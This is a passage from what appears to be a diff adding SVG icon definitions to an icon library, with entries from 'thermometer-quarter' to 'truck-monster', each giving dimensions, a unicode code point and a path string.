66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thermometer-quarter": [256, 512, [], "f2ca", "M192 384c0 35.346-28.654 64-64 64s-64-28.654-64-64c0-23.685 12.876-44.349 32-55.417V288c0-17.673 14.327-32 32-32s32 14.327 32 32v40.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thermometer-three-quarters": [256, 512, [], "f2c8", "M192 384c0 35.346-28.654 64-64 64-35.346 0-64-28.654-64-64 0-23.685 12.876-44.349 32-55.417V160c0-17.673 14.327-32 32-32s32 14.327 32 32v168.583c19.124 11.068 32 31.732 32 55.417zm32-84.653c19.912 22.563 32 52.194 32 84.653 0 70.696-57.303 128-128 128-.299 0-.609-.001-.909-.003C56.789 511.509-.357 453.636.002 383.333.166 351.135 12.225 321.755 32 299.347V96c0-53.019 42.981-96 96-96s96 42.981 96 96v203.347zM208 384c0-34.339-19.37-52.19-32-66.502V96c0-26.467-21.533-48-48-48S80 69.533 80 96v221.498c-12.732 14.428-31.825 32.1-31.999 66.08-.224 43.876 35.563 80.116 79.423 80.42L128 464c44.112 0 80-35.888 80-80z"], + "thumbs-down": [512, 512, [], "f165", "M0 56v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H24C10.745 32 0 42.745 0 56zm40 200c0-13.255 10.745-24 24-24s24 10.745 24 24-10.745 24-24 24-24-10.745-24-24zm272 256c-20.183 0-29.485-39.293-33.931-57.795-5.206-21.666-10.589-44.07-25.393-58.902-32.469-32.524-49.503-73.967-89.117-113.111a11.98 11.98 0 0 1-3.558-8.521V59.901c0-6.541 5.243-11.878 11.783-11.998 15.831-.29 36.694-9.079 52.651-16.178C256.189 17.598 295.709.017 343.995 0h2.844c42.777 0 93.363.413 113.774 29.737 8.392 12.057 10.446 27.034 6.148 44.632 16.312 17.053 25.063 48.863 16.382 74.757 17.544 23.432 19.143 56.132 9.308 79.469l.11.11c11.893 11.949 19.523 31.259 19.439 49.197-.156 30.352-26.157 58.098-59.553 58.098H350.723C358.03 364.34 384 388.132 384 430.548 384 504 336 512 312 512z"], + "thumbs-up": [512, 512, [], "f164", "M104 224H24c-13.255 0-24 10.745-24 24v240c0 13.255 10.745 24 24 24h80c13.255 0 24-10.745 24-24V248c0-13.255-10.745-24-24-24zM64 472c-13.255 0-24-10.745-24-24s10.745-24 24-24 24 10.745 24 24-10.745 24-24 24zM384 81.452c0 42.416-25.97 66.208-33.277 94.548h101.723c33.397 0 59.397 27.746 59.553 58.098.084 17.938-7.546 37.249-19.439 49.197l-.11.11c9.836 23.337 8.237 56.037-9.308 79.469 8.681 25.895-.069 57.704-16.382 74.757 4.298 17.598 2.244 32.575-6.148 44.632C440.202 511.587 389.616 512 346.839 512l-2.845-.001c-48.287-.017-87.806-17.598-119.56-31.725-15.957-7.099-36.821-15.887-52.651-16.178-6.54-.12-11.783-5.457-11.783-11.998v-213.77c0-3.2 1.282-6.271 3.558-8.521 39.614-39.144 56.648-80.587 89.117-113.111 14.804-14.832 20.188-37.236 25.393-58.902C282.515 39.293 291.817 0 312 0c24 0 72 8 72 81.452z"], + "thumbtack": [384, 512, [], "f08d", "M298.028 214.267L285.793 96H328c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H56C42.745 0 32 10.745 32 24v48c0 13.255 10.745 24 24 24h42.207L85.972 214.267C37.465 236.82 0 277.261 0 328c0 13.255 10.745 24 24 24h136v104.007c0 1.242.289 2.467.845 3.578l24 48c2.941 5.882 11.364 5.893 14.311 0l24-48a8.008 8.008 0 0 0 .845-3.578V352h136c13.255 0 24-10.745 24-24-.001-51.183-37.983-91.42-85.973-113.733z"], + "ticket-alt": [576, 512, [], "f3ff", "M128 160h320v192H128V160zm400 96c0 26.51 21.49 48 48 48v96c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48v-96c26.51 0 48-21.49 48-48s-21.49-48-48-48v-96c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v96c-26.51 0-48 21.49-48 48zm-48-104c0-13.255-10.745-24-24-24H120c-13.255 0-24 10.745-24 24v208c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V152z"], + "times": [352, 512, [], "f00d", "M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"], + "times-circle": [512, 512, [], "f057", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm121.6 313.1c4.7 4.7 4.7 12.3 0 17L338 377.6c-4.7 4.7-12.3 4.7-17 0L256 312l-65.1 65.6c-4.7 4.7-12.3 4.7-17 0L134.4 338c-4.7-4.7-4.7-12.3 0-17l65.6-65-65.6-65.1c-4.7-4.7-4.7-12.3 0-17l39.6-39.6c4.7-4.7 12.3-4.7 17 0l65 65.7 65.1-65.6c4.7-4.7 12.3-4.7 17 0l39.6 39.6c4.7 4.7 4.7 12.3 0 17L312 256l65.6 65.1z"], + "tint": [352, 512, [], "f043", "M205.22 22.09c-7.94-28.78-49.44-30.12-58.44 0C100.01 179.85 0 222.72 0 333.91 0 432.35 78.72 512 176 512s176-79.65 176-178.09c0-111.75-99.79-153.34-146.78-311.82zM176 448c-61.75 0-112-50.25-112-112 0-8.84 7.16-16 16-16s16 7.16 16 16c0 44.11 35.89 80 80 80 8.84 0 16 7.16 16 16s-7.16 16-16 16z"], + "tint-slash": [640, 512, [], "f5c7", "M633.82 458.1L494.97 350.78c.52-5.57 1.03-11.16 1.03-16.87 0-111.76-99.79-153.34-146.78-311.82-7.94-28.78-49.44-30.12-58.44 0-15.52 52.34-36.87 91.96-58.49 125.68L45.47 3.37C38.49-2.05 28.43-.8 23.01 6.18L3.37 31.45C-2.05 38.42-.8 48.47 6.18 53.9l588.36 454.73c6.98 5.43 17.03 4.17 22.46-2.81l19.64-25.27c5.41-6.97 4.16-17.02-2.82-22.45zM144 333.91C144 432.35 222.72 512 320 512c44.71 0 85.37-16.96 116.4-44.7L162.72 255.78c-11.41 23.5-18.72 48.35-18.72 78.13z"], + "tired": [496, 512, [], "f5c8", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 189.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 208l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM248 288c51.9 0 115.3 43.8 123.2 106.7 1.7 13.6-8 24.6-17.7 20.4-25.9-11.1-64.4-17.4-105.5-17.4s-79.6 6.3-105.5 17.4c-9.8 4.2-19.4-7-17.7-20.4C132.7 331.8 196.1 288 248 288z"], + "toggle-off": [576, 512, [], "f204", "M384 64H192C85.961 64 0 149.961 0 256s85.961 192 192 192h192c106.039 0 192-85.961 192-192S490.039 64 384 64zM64 256c0-70.741 57.249-128 128-128 70.741 0 128 57.249 128 128 0 70.741-57.249 128-128 128-70.741 0-128-57.249-128-128zm320 128h-48.905c65.217-72.858 65.236-183.12 0-256H384c70.741 0 128 57.249 128 128 0 70.74-57.249 128-128 128z"], + "toggle-on": [576, 512, [], "f205", "M384 64H192C86 64 0 150 0 256s86 192 192 192h192c106 0 192-86 192-192S490 64 384 64zm0 320c-70.8 0-128-57.3-128-128 0-70.8 57.3-128 128-128 70.8 0 128 57.3 128 128 0 70.8-57.3 128-128 128z"], + "toilet": [384, 512, [], "f7d8", "M368 48c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16H16C7.2 0 0 7.2 0 16v16c0 8.8 7.2 16 16 16h16v156.7C11.8 214.8 0 226.9 0 240c0 67.2 34.6 126.2 86.8 160.5l-21.4 70.2C59.1 491.2 74.5 512 96 512h192c21.5 0 36.9-20.8 30.6-41.3l-21.4-70.2C349.4 366.2 384 307.2 384 240c0-13.1-11.8-25.2-32-35.3V48h16zM80 72c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v16c0 4.4-3.6 8-8 8H88c-4.4 0-8-3.6-8-8V72zm112 200c-77.1 0-139.6-14.3-139.6-32s62.5-32 139.6-32 139.6 14.3 139.6 32-62.5 32-139.6 32z"], + "toilet-paper": [576, 512, [], "f71e", "M128 0C74.98 0 32 85.96 32 192v172.07c0 41.12-9.8 62.77-31.17 126.87C-2.62 501.3 5.09 512 16.01 512h280.92c13.77 0 26-8.81 30.36-21.88 12.83-38.48 24.71-72.4 24.71-126.05V192c0-83.6 23.67-153.52 60.44-192H128zM96 224c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zm64 0c-8.84 0-16-7.16-16-16s7.16-16 16-16 16 7.16 16 16-7.16 16-16 16zM480 0c-53.02 0-96 85.96-96 192s42.98 192 96 192 96-85.96 96-192S533.02 0 480 0zm0 256c-17.67 0-32-28.65-32-64s14.33-64 32-64 32 28.65 32 64-14.33 64-32 64z"], + "toilet-paper-slash": [640, 512, [], "e072", "M64,192V364.13c0,41.12-9.75,62.75-31.12,126.87A16,16,0,0,0,48,512H328.86a31.87,31.87,0,0,0,30.38-21.87c9.31-27.83,18-53.35,22.18-85.55l-316-244.25C64.53,170.66,64,181.19,64,192ZM633.82,458.09l-102-78.81C575.28,360.91,608,284.32,608,192,608,86,565,0,512,0s-96,86-96,192c0,42,7,80.4,18.43,112L384,265V192c0-83.62,23.63-153.5,60.5-192H160c-23.33,0-44.63,16.83-61.26,44.53L45.46,3.38A16,16,0,0,0,23,6.19L3.37,31.45A16,16,0,0,0,6.18,53.91L594.54,508.63A16,16,0,0,0,617,505.81l19.64-25.26A16,16,0,0,0,633.82,458.09ZM512,256c-17.63,0-32-28.62-32-64s14.37-64,32-64,32,28.63,32,64S529.62,256,512,256Z"], + "toolbox": [512, 512, [], "f552", "M502.63 214.63l-45.25-45.25c-6-6-14.14-9.37-22.63-9.37H384V80c0-26.51-21.49-48-48-48H176c-26.51 0-48 21.49-48 48v80H77.25c-8.49 0-16.62 3.37-22.63 9.37L9.37 214.63c-6 6-9.37 14.14-9.37 22.63V320h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-16c0-8.84 7.16-16 16-16h32c8.84 0 16 7.16 16 16v16h128v-82.75c0-8.48-3.37-16.62-9.37-22.62zM320 160H192V96h128v64zm64 208c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H192v16c0 8.84-7.16 16-16 16h-32c-8.84 0-16-7.16-16-16v-16H0v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96H384v16z"], + "tools": [512, 512, [], "f7d9", "M501.1 395.7L384 278.6c-23.1-23.1-57.6-27.6-85.4-13.9L192 158.1V96L64 0 0 64l96 128h62.1l106.6 106.6c-13.6 27.8-9.2 62.3 13.9 85.4l117.1 117.1c14.6 14.6 38.2 14.6 52.7 0l52.7-52.7c14.5-14.6 14.5-38.2 0-52.7zM331.7 225c28.3 0 54.9 11 74.9 31l19.4 19.4c15.8-6.9 30.8-16.5 43.8-29.5 37.1-37.1 49.7-89.3 37.9-136.7-2.2-9-13.5-12.1-20.1-5.5l-74.4 74.4-67.9-11.3L334 98.9l74.4-74.4c6.6-6.6 3.4-17.9-5.7-20.2-47.4-11.7-99.6.9-136.6 37.9-28.5 28.5-41.9 66.1-41.2 103.6l82.1 82.1c8.1-1.9 16.5-2.9 24.7-2.9zm-103.9 82l-56.7-56.7L18.7 402.8c-25 25-25 65.5 0 90.5s65.5 25 90.5 0l123.6-123.6c-7.6-19.9-9.9-41.6-5-62.7zM64 472c-13.2 0-24-10.8-24-24 0-13.3 10.7-24 24-24s24 10.7 24 24c0 13.2-10.7 24-24 24z"], + "tooth": [448, 512, [], "f5c9", "M443.98 96.25c-11.01-45.22-47.11-82.06-92.01-93.72-32.19-8.36-63 5.1-89.14 24.33-3.25 2.39-6.96 3.73-10.5 5.48l28.32 18.21c7.42 4.77 9.58 14.67 4.8 22.11-4.46 6.95-14.27 9.86-22.11 4.8L162.83 12.84c-20.7-10.85-43.38-16.4-66.81-10.31-44.9 11.67-81 48.5-92.01 93.72-10.13 41.62-.42 80.81 21.5 110.43 23.36 31.57 32.68 68.66 36.29 107.35 4.4 47.16 10.33 94.16 20.94 140.32l7.8 33.95c3.19 13.87 15.49 23.7 29.67 23.7 13.97 0 26.15-9.55 29.54-23.16l34.47-138.42c4.56-18.32 20.96-31.16 39.76-31.16s35.2 12.85 39.76 31.16l34.47 138.42c3.39 13.61 15.57 23.16 29.54 23.16 14.18 0 26.48-9.83 29.67-23.7l7.8-33.95c10.61-46.15 16.53-93.16 20.94-140.32 3.61-38.7 12.93-75.78 36.29-107.35 21.95-29.61 31.66-68.8 21.53-110.43z"], + "torah": [640, 512, [], "f6a0", "M320.05 366.48l17.72-29.64h-35.46zm99.21-166H382.4l18.46 30.82zM48 0C21.49 0 0 14.33 0 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32C96 14.33 74.51 0 48 0zm172.74 311.5h36.85l-18.46-30.82zm161.71 0h36.86l-18.45-30.8zM128 464h384V48H128zm66.77-278.13a21.22 21.22 0 0 1 18.48-10.71h59.45l29.13-48.71a21.13 21.13 0 0 1 18.22-10.37A20.76 20.76 0 0 1 338 126.29l29.25 48.86h59.52a21.12 21.12 0 0 1 18.1 32L415.63 256 445 305a20.69 20.69 0 0 1 .24 21.12 21.25 21.25 0 0 1-18.48 10.72h-59.47l-29.13 48.7a21.13 21.13 0 0 1-18.16 10.4 20.79 20.79 0 0 1-18-10.22l-29.25-48.88h-59.5a21.11 21.11 0 0 1-18.1-32L224.36 256 195 207a20.7 20.7 0 0 1-.23-21.13zM592 0c-26.51 0-48 14.33-48 32v448c0 17.67 21.49 32 48 32s48-14.33 48-32V32c0-17.67-21.49-32-48-32zM320 145.53l-17.78 29.62h35.46zm-62.45 55h-36.81l18.44 30.8zm29.58 111h65.79L386.09 256l-33.23-55.52h-65.79L253.9 256z"], + "torii-gate": [512, 512, [], "f6a1", "M376.45 32h-240.9A303.17 303.17 0 0 1 0 0v96c0 17.67 14.33 32 32 32h32v64H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h256v240c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16V256h48c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-48v-64h32c17.67 0 32-14.33 32-32V0a303.17 303.17 0 0 1-135.55 32zM128 128h96v64h-96v-64zm256 64h-96v-64h96v64z"], + "tractor": [640, 512, [], "f722", "M528 336c-48.6 0-88 39.4-88 88s39.4 88 88 88 88-39.4 88-88-39.4-88-88-88zm0 112c-13.23 0-24-10.77-24-24s10.77-24 24-24 24 10.77 24 24-10.77 24-24 24zm80-288h-64v-40.2c0-14.12 4.7-27.76 13.15-38.84 4.42-5.8 3.55-14.06-1.32-19.49L534.2 37.3c-6.66-7.45-18.32-6.92-24.7.78C490.58 60.9 480 89.81 480 119.8V160H377.67L321.58 29.14A47.914 47.914 0 0 0 277.45 0H144c-26.47 0-48 21.53-48 48v146.52c-8.63-6.73-20.96-6.46-28.89 1.47L36 227.1c-8.59 8.59-8.59 22.52 0 31.11l5.06 5.06c-4.99 9.26-8.96 18.82-11.91 28.72H22c-12.15 0-22 9.85-22 22v44c0 12.15 9.85 22 22 22h7.14c2.96 9.91 6.92 19.46 11.91 28.73l-5.06 5.06c-8.59 8.59-8.59 22.52 0 31.11L67.1 476c8.59 8.59 22.52 8.59 31.11 0l5.06-5.06c9.26 4.99 18.82 8.96 28.72 11.91V490c0 12.15 9.85 22 22 22h44c12.15 0 22-9.85 22-22v-7.14c9.9-2.95 19.46-6.92 28.72-11.91l5.06 5.06c8.59 8.59 22.52 8.59 31.11 0l31.11-31.11c8.59-8.59 8.59-22.52 0-31.11l-5.06-5.06c4.99-9.26 8.96-18.82 11.91-28.72H330c12.15 0 22-9.85 22-22v-6h80.54c21.91-28.99 56.32-48 95.46-48 18.64 0 36.07 4.61 51.8 12.2l50.82-50.82c6-6 9.37-14.14 9.37-22.63V192c.01-17.67-14.32-32-31.99-32zM176 416c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm22-256h-38V64h106.89l41.15 96H198z"], + "trademark": [640, 512, [], "f25c", "M260.6 96H12c-6.6 0-12 5.4-12 12v43.1c0 6.6 5.4 12 12 12h85.1V404c0 6.6 5.4 12 12 12h54.3c6.6 0 12-5.4 12-12V163.1h85.1c6.6 0 12-5.4 12-12V108c.1-6.6-5.3-12-11.9-12zM640 403l-24-296c-.5-6.2-5.7-11-12-11h-65.4c-5.1 0-9.7 3.3-11.3 8.1l-43.8 127.1c-7.2 20.6-16.1 52.8-16.1 52.8h-.9s-8.9-32.2-16.1-52.8l-43.8-127.1c-1.7-4.8-6.2-8.1-11.3-8.1h-65.4c-6.2 0-11.4 4.8-12 11l-24.4 296c-.6 7 4.9 13 12 13H360c6.3 0 11.5-4.9 12-11.2l9.1-132.9c1.8-24.2 0-53.7 0-53.7h.9s10.7 33.6 17.9 53.7l30.7 84.7c1.7 4.7 6.2 7.9 11.3 7.9h50.3c5.1 0 9.6-3.2 11.3-7.9l30.7-84.7c7.2-20.1 17.9-53.7 17.9-53.7h.9s-1.8 29.5 0 53.7l9.1 132.9c.4 6.3 5.7 11.2 12 11.2H628c7 0 12.5-6 12-13z"], + "traffic-light": [384, 512, [], "f637", "M384 192h-64v-37.88c37.2-13.22 64-48.38 64-90.12h-64V32c0-17.67-14.33-32-32-32H96C78.33 0 64 14.33 64 32v32H0c0 41.74 26.8 76.9 64 90.12V192H0c0 41.74 26.8 76.9 64 90.12V320H0c0 42.84 28.25 78.69 66.99 91.05C79.42 468.72 130.6 512 192 512s112.58-43.28 125.01-100.95C355.75 398.69 384 362.84 384 320h-64v-37.88c37.2-13.22 64-48.38 64-90.12zM192 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm0-128c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48z"], + "trailer": [640, 512, [], "e041", "M624,320H544V80a16,16,0,0,0-16-16H16A16,16,0,0,0,0,80V368a16,16,0,0,0,16,16H65.61c7.83-54.21,54-96,110.39-96s102.56,41.79,110.39,96H624a16,16,0,0,0,16-16V336A16,16,0,0,0,624,320ZM96,243.68a176.29,176.29,0,0,0-32,20.71V136a8,8,0,0,1,8-8H88a8,8,0,0,1,8,8Zm96-18.54c-5.31-.49-10.57-1.14-16-1.14s-10.69.65-16,1.14V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,39.25a176.29,176.29,0,0,0-32-20.71V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8ZM384,320H352V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm96,0H448V136a8,8,0,0,1,8-8h16a8,8,0,0,1,8,8Zm-304,0a80,80,0,1,0,80,80A80,80,0,0,0,176,320Zm0,112a32,32,0,1,1,32-32A32,32,0,0,1,176,432Z"], + "train": [448, 512, [], "f238", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zm-48 136V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24zm-176 64c-30.928 0-56 25.072-56 56s25.072 56 56 56 56-25.072 56-56-25.072-56-56-56z"], + "tram": [512, 512, [], "f7da", "M288 64c17.7 0 32-14.3 32-32S305.7 0 288 0s-32 14.3-32 32 14.3 32 32 32zm223.5-12.1c-2.3-8.6-11-13.6-19.6-11.3l-480 128c-8.5 2.3-13.6 11-11.3 19.6C2.5 195.3 8.9 200 16 200c1.4 0 2.8-.2 4.1-.5L240 140.8V224H64c-17.7 0-32 14.3-32 32v224c0 17.7 14.3 32 32 32h384c17.7 0 32-14.3 32-32V256c0-17.7-14.3-32-32-32H272v-91.7l228.1-60.8c8.6-2.3 13.6-11.1 11.4-19.6zM176 384H80v-96h96v96zm160-96h96v96h-96v-96zm-32 0v96h-96v-96h96zM192 96c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"], + "transgender": [384, 512, [], "f224", "M372 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C198.5 104.1 172.2 96 144 96 64.5 96 0 160.5 0 240c0 68.5 47.9 125.9 112 140.4V408H76c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM144 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "transgender-alt": [480, 512, [], "f225", "M468 0h-79c-10.7 0-16 12.9-8.5 20.5l16.9 16.9-80.7 80.7C294.5 104.1 268.2 96 240 96c-28.2 0-54.5 8.1-76.7 22.1l-16.5-16.5 19.8-19.8c4.7-4.7 4.7-12.3 0-17l-28.3-28.3c-4.7-4.7-12.3-4.7-17 0l-19.8 19.8-19-19 16.9-16.9C107.1 12.9 101.7 0 91 0H12C5.4 0 0 5.4 0 12v79c0 10.7 12.9 16 20.5 8.5l16.9-16.9 19 19-19.8 19.8c-4.7 4.7-4.7 12.3 0 17l28.3 28.3c4.7 4.7 12.3 4.7 17 0l19.8-19.8 16.5 16.5C104.1 185.5 96 211.8 96 240c0 68.5 47.9 125.9 112 140.4V408h-36c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h36v28c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12v-28h36c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-36v-27.6c64.1-14.6 112-71.9 112-140.4 0-28.2-8.1-54.5-22.1-76.7l80.7-80.7 16.9 16.9c7.6 7.6 20.5 2.2 20.5-8.5V12c0-6.6-5.4-12-12-12zM240 320c-44.1 0-80-35.9-80-80s35.9-80 80-80 80 35.9 80 80-35.9 80-80 80z"], + "trash": [448, 512, [], "f1f8", "M432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32z"], + "trash-alt": [448, 512, [], "f2ed", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm272-256a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zm-96 0a16 16 0 0 1 32 0v224a16 16 0 0 1-32 0zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "trash-restore": [448, 512, [], "f829", "M53.2 467a48 48 0 0 0 47.9 45h245.8a48 48 0 0 0 47.9-45L416 128H32zm70.11-175.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "trash-restore-alt": [448, 512, [], "f82a", "M32 464a48 48 0 0 0 48 48h288a48 48 0 0 0 48-48V128H32zm91.31-172.8l89.38-94.26a15.41 15.41 0 0 1 22.62 0l89.38 94.26c10.08 10.62 2.94 28.8-11.32 28.8H256v112a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16V320h-57.37c-14.26 0-21.4-18.18-11.32-28.8zM432 32H312l-9.4-18.7A24 24 0 0 0 281.1 0H166.8a23.72 23.72 0 0 0-21.4 13.3L136 32H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "tree": [384, 512, [], "f1bb", "M378.31 378.49L298.42 288h30.63c9.01 0 16.98-5 20.78-13.06 3.8-8.04 2.55-17.26-3.28-24.05L268.42 160h28.89c9.1 0 17.3-5.35 20.86-13.61 3.52-8.13 1.86-17.59-4.24-24.08L203.66 4.83c-6.03-6.45-17.28-6.45-23.32 0L70.06 122.31c-6.1 6.49-7.75 15.95-4.24 24.08C69.38 154.65 77.59 160 86.69 160h28.89l-78.14 90.91c-5.81 6.78-7.06 15.99-3.27 24.04C37.97 283 45.93 288 54.95 288h30.63L5.69 378.49c-6 6.79-7.36 16.09-3.56 24.26 3.75 8.05 12 13.25 21.01 13.25H160v24.45l-30.29 48.4c-5.32 10.64 2.42 23.16 14.31 23.16h95.96c11.89 0 19.63-12.52 14.31-23.16L224 440.45V416h136.86c9.01 0 17.26-5.2 21.01-13.25 3.8-8.17 2.44-17.47-3.56-24.26z"], + "trophy": [576, 512, [], "f091", "M552 64H448V24c0-13.3-10.7-24-24-24H152c-13.3 0-24 10.7-24 24v40H24C10.7 64 0 74.7 0 88v56c0 35.7 22.5 72.4 61.9 100.7 31.5 22.7 69.8 37.1 110 41.7C203.3 338.5 240 360 240 360v72h-48c-35.3 0-64 20.7-64 56v12c0 6.6 5.4 12 12 12h296c6.6 0 12-5.4 12-12v-12c0-35.3-28.7-56-64-56h-48v-72s36.7-21.5 68.1-73.6c40.3-4.6 78.6-19 110-41.7 39.3-28.3 61.9-65 61.9-100.7V88c0-13.3-10.7-24-24-24zM99.3 192.8C74.9 175.2 64 155.6 64 144v-16h64.2c1 32.6 5.8 61.2 12.8 86.2-15.1-5.2-29.2-12.4-41.7-21.4zM512 144c0 16.1-17.7 36.1-35.3 48.8-12.5 9-26.7 16.2-41.8 21.4 7-25 11.8-53.6 12.8-86.2H512v16z"], + "truck": [640, 512, [], "f0d1", "M624 352h-16V243.9c0-12.7-5.1-24.9-14.1-33.9L494 110.1c-9-9-21.2-14.1-33.9-14.1H416V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v320c0 26.5 21.5 48 48 48h16c0 53 43 96 96 96s96-43 96-96h128c0 53 43 96 96 96s96-43 96-96h48c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zM160 464c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm320 0c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm80-208H416V144h44.1l99.9 99.9V256z"], + "truck-loading": [640, 512, [], "f4de", "M50.2 375.6c2.3 8.5 11.1 13.6 19.6 11.3l216.4-58c8.5-2.3 13.6-11.1 11.3-19.6l-49.7-185.5c-2.3-8.5-11.1-13.6-19.6-11.3L151 133.3l24.8 92.7-61.8 16.5-24.8-92.7-77.3 20.7C3.4 172.8-1.7 181.6.6 190.1l49.6 185.5zM384 0c-17.7 0-32 14.3-32 32v323.6L5.9 450c-4.3 1.2-6.8 5.6-5.6 9.8l12.6 46.3c1.2 4.3 5.6 6.8 9.8 5.6l393.7-107.4C418.8 464.1 467.6 512 528 512c61.9 0 112-50.1 112-112V0H384zm144 448c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"], + "truck-monster": [640, 512, [], "f63b", "M624 224h-16v-64c0-17.67-14.33-32-32-32h-73.6L419.22 24.02A64.025 64.025 0 0 0 369.24 0H256c-17.67 0-32 14.33-32 32v96H48c-8.84 0-16 